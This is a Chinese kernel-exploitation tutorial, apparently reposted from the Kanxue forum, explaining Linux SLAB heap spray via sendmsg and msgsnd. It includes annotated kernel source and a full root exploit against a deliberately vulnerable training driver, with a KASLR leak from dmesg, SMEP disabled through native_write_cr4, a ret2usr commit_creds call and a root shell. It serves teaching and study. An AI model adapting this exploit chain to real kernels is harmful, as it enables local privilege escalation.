Linux内核堆喷(Linux Kernel Heap Spray)
Posted 看雪学院
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux内核堆喷(Linux Kernel Heap Spray)相关的知识,希望对你有一定的参考价值。
What is Linux Kernel Heap Spray?
Basic linux kernel memory management
Intro to SLAB
Acpi-Namespace 7854 7854 40 102 1 : tunables 0 0 0 : slabdata 77 77 0
numa_policy 186 186 264 62 4 : tunables 0 0 0 : slabdata 3 3 0
trace_event_file 1426 1426 88 46 1 : tunables 0 0 0 : slabdata 31 31 0
ftrace_event_field 3400 3400 48 85 1 : tunables 0 0 0 : slabdata 40 40 0
radix_tree_node 13694 15848 584 56 8 : tunables 0 0 0 : slabdata 283 283 0
task_group 168 168 576 56 8 : tunables 0 0 0 : slabdata 3 3 0
dma-kmalloc-8192 0 0 8192 4 8 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-4096 0 0 4096 8 8 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-2048 0 0 2048 16 8 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-1024 0 0 1024 32 8 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-512 64 64 512 64 8 : tunables 0 0 0 : slabdata 1 1 0
dma-kmalloc-256 0 0 256 64 4 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-128 0 0 128 64 2 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-64 0 0 64 64 1 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-32 0 0 32 128 1 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-16 0 0 16 256 1 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-8 0 0 8 512 1 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-192 0 0 192 42 2 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-96 0 0 96 42 1 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-8192 410 420 8192 4 8 : tunables 0 0 0 : slabdata 105 105 0
kmalloc-4096 342 360 4096 8 8 : tunables 0 0 0 : slabdata 45 45 0
kmalloc-2048 2478 2528 2048 16 8 : tunables 0 0 0 : slabdata 158 158 0
kmalloc-1024 5980 6304 1024 32 8 : tunables 0 0 0 : slabdata 197 197 0
kmalloc-512 41282 41792 512 64 8 : tunables 0 0 0 : slabdata 653 653 0
kmalloc-256 7786 8000 256 64 4 : tunables 0 0 0 : slabdata 125 125 0
kmalloc-192 6174 6174 192 42 2 : tunables 0 0 0 : slabdata 147 147 0
kmalloc-128 2240 2240 128 64 2 : tunables 0 0 0 : slabdata 35 35 0
kmalloc-96 7455 9786 96 42 1 : tunables 0 0 0 : slabdata 233 233 0
kmalloc-64 23669 24192 64 64 1 : tunables 0 0 0 : slabdata 378 378 0
kmalloc-32 31701 32640 32 128 1 : tunables 0 0 0 : slabdata 255 255 0
kmalloc-16 13568 13568 16 256 1 : tunables 0 0 0 : slabdata 53 53 0
kmalloc-8 12288 12288 8 512 1 : tunables 0 0 0 : slabdata 24 24 0
kmem_cache_node 1920 1920 64 64 1 : tunables 0 0 0 : slabdata 30 30 0
kmem_cache 1890 1890 384 42 4 : tunables 0 0 0 : slabdata 45 45 0
How to trigger Kernel heap spray?
Using sendmsg()
static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
unsigned int flags, struct used_address *used_address,
unsigned int allowed_msghdr_flags)
struct msghdr {
void *msg_name; /* ptr to socket address structure */
int msg_namelen; /* size of socket address structure */
struct iov_iter msg_iter; /* data */
void *msg_control; /* ancillary data */
__kernel_size_t msg_controllen; /* ancillary data buffer length */
unsigned int msg_flags; /* flags on received message */
struct kiocb *msg_iocb; /* ptr to iocb for async requests */
};
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
unsigned char ctl[sizeof(struct cmsghdr) + 20]
__attribute__ ((aligned(sizeof(__kernel_size_t)))); //在栈上开44字节
/* 20 is size of ipv6_pktinfo */
unsigned char *ctl_buf = ctl; //ctl_buf指向ctl.
int ctl_len;
ssize_t err;
msg_sys->msg_name = &address;
if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); //这里将用户态的msghdr(消息头)拷贝到内核态的msg_sys
if (err < 0)
return err;
err = -ENOBUFS;
if (msg_sys->msg_controllen > INT_MAX) //
goto out_freeiov;
ctl_len = msg_sys->msg_controllen; //当msg_sys->msg_controllen小于等于INT_MAX,会将ctl_len设置成msg_sys->msg_controllen()
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
err =
cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
sizeof(ctl));
if (err)
goto out_freeiov;
ctl_buf = msg_sys->msg_control;
ctl_len = msg_sys->msg_controllen;
} else if (ctl_len) {
if (ctl_len > sizeof(ctl)) { //当ctl_len>ctl(44字节)时
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); //调用kmalloc 分配 ctl_len 大小的堆块
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
/*
* Careful! Before this, msg_sys->msg_control contains a user pointer.
* Afterwards, it will be a kernel pointer. Thus the compiler-assisted
* checking falls down on this.
*/
if (copy_from_user(ctl_buf,
(void __user __force *)msg_sys->msg_control,
ctl_len)) //这里使用copy_from_user将用户态的msg_sys->msg_control,拷贝到内核的ctl_buf(由kmalloc产生),拷贝长度ctl_len。这里内容可控
goto out_freectl;
msg_sys->msg_control = ctl_buf;
}
msg_sys->msg_flags = flags;
......
}
DEMO
#define _GNU_SOURCE
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include "/root/vulnerable_linux_driver/src/vuln_driver.h"
#define SIZE 84
int main(){
char buf[SIZE];
struct msghdr msgh = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
int fd = open("/dev/vulnerable_device",O_RDWR);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// filled with 0x61 'a'
memset(buf,0x61,sizeof(buf));
// set user space buf(msg header)
msgh.msg_control = buf;
msgh.msg_controllen = SIZE;
msgh.msg_name = (caddr_t)&addr;
msgh.msg_namelen = sizeof(addr);
// trigger UAF
ioctl(fd,ALLOC_UAF_OBJ,NULL); //alloc_uaf_obj
ioctl(fd,FREE_UAF_OBJ,NULL); //free uaf obj
/* Heap spray */
for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msgh, 0);
}
/* Trigger */
ioctl(fd, USE_UAF_OBJ, NULL);
return 0;
}
Using msgsnd()
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
int, msgflg)
{
long mtype;
if (get_user(mtype, &msgp->mtype))
return -EFAULT;
return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
ns = current->nsproxy->ipc_ns;
if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;
msg = load_msg(mtext, msgsz);
.......
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len); //先创建一个msg_msg结构体,根据用户态的参数。msg_msg结构体大小等于0x30
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen)) //然后把用户态的内容拷贝过去
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
err = security_msg_msg_alloc(msg);
if (err)
goto out_err;
return msg;
out_err:
free_msg(msg);
return ERR_PTR(err);
}
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
漏洞利用
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include "/root/vulnerable_linux_driver/src/vuln_driver.h"
#define PATH "/dev/vulnerable_device"
#define SIZE 96
#define BASE 0xffffffff81000000
size_t base;
size_t SyS_ioctl_offset = 0xffffffff81218d40-0xffffffff81000000;
size_t native_write_cr4 = 0xffffffff81063570-BASE;
size_t commit_creds = 0xffffffff810a1380-BASE;
size_t prepare_kernel_cred = 0xffffffff810a1770-BASE;
size_t my_cr4 = 0x6f0;
typedef struct uaf_obj
{
char uaf_first_buff[56];
long arg; // [+56]
void (*fn)(long); // [+56+sizeof(long)]
char uaf_second_buff[12];
}uaf_obj;
void set_cpu_affinity(){
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0,&mask);
if (sched_setaffinity(0,sizeof(mask),&mask))
puts("set single CPU failed");
return;
}
int heap_spray(int fd,size_t fn,size_t arg){
char buf[SIZE];
struct msghdr msgh = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
//int fd = open("/dev/vulnerable_device",O_RDWR);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// set uaf_obj
memset(buf,0x61,sizeof(buf));
memcpy(buf+56,&arg,sizeof(size_t)); // arg
memcpy(buf+56+sizeof(size_t), &fn, sizeof(size_t)); //call back addr
// set user space buf(msg header)
msgh.msg_control = buf;
msgh.msg_controllen = SIZE;
msgh.msg_name = (caddr_t)&addr;
msgh.msg_namelen = sizeof(addr);
// trigger UAF
ioctl(fd,ALLOC_UAF_OBJ,NULL); //alloc_uaf_obj
ioctl(fd,FREE_UAF_OBJ,NULL); //free uaf obj
/* Heap spray */
for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msgh, 0);
}
/* Trigger */
ioctl(fd, USE_UAF_OBJ, NULL);
return 0;
}
void trigger_page_fault(int fd){
//int fd = open(PATH,O_RDWR);
size_t fn = 0xDEADBEEFdeadbeef; //invaild address
size_t arg = 0xdeadbeefdeadbeef;
heap_spray(fd,fn,arg);
return;
}
size_t leak_base(){
FILE *f;
size_t info;
system("dmesg | tail | grep SyS_ioctl | cut -b 19-34 > /tmp/leak");
f = fopen("/tmp/leak","r");
fscanf(f,"%lx",&info);
printf("[*]success:0x%lx\n",info);
fclose(f);
return info;
}
void ret2usr(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
int main(){
int fd = open(PATH,O_RDWR);
set_cpu_affinity();
pid_t pid=fork();
int end;
// fork a new process to trigger page fault
if(pid==0){
trigger_page_fault(fd);
exit(0);
}
wait(&end); // wait for child process exit(0)
// get aslr base
base = leak_base()-0x79-SyS_ioctl_offset;
printf("[*]success leak base:0x%lx\n",base);
commit_creds = base + commit_creds;
prepare_kernel_cred = base + prepare_kernel_cred;
native_write_cr4 = base + native_write_cr4;
//利用堆喷关闭smep
heap_spray(fd,native_write_cr4,my_cr4);
//直接ret2usr
heap_spray(fd,ret2usr,0);
if(getuid()==0){
printf("[*] Welcome to root!\n");
system("/bin/sh\x00");
}
close(fd);
return 0;
}
参考
http://www.wowotech.net/memory_management/426.html
看雪ID:ScUpax0s
https://bbs.pediy.com/user-home-873515.htm
*本文由看雪论坛 ScUpax0s 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
以上是关于Linux内核堆喷(Linux Kernel Heap Spray)的主要内容,如果未能解决你的问题,请参考以下文章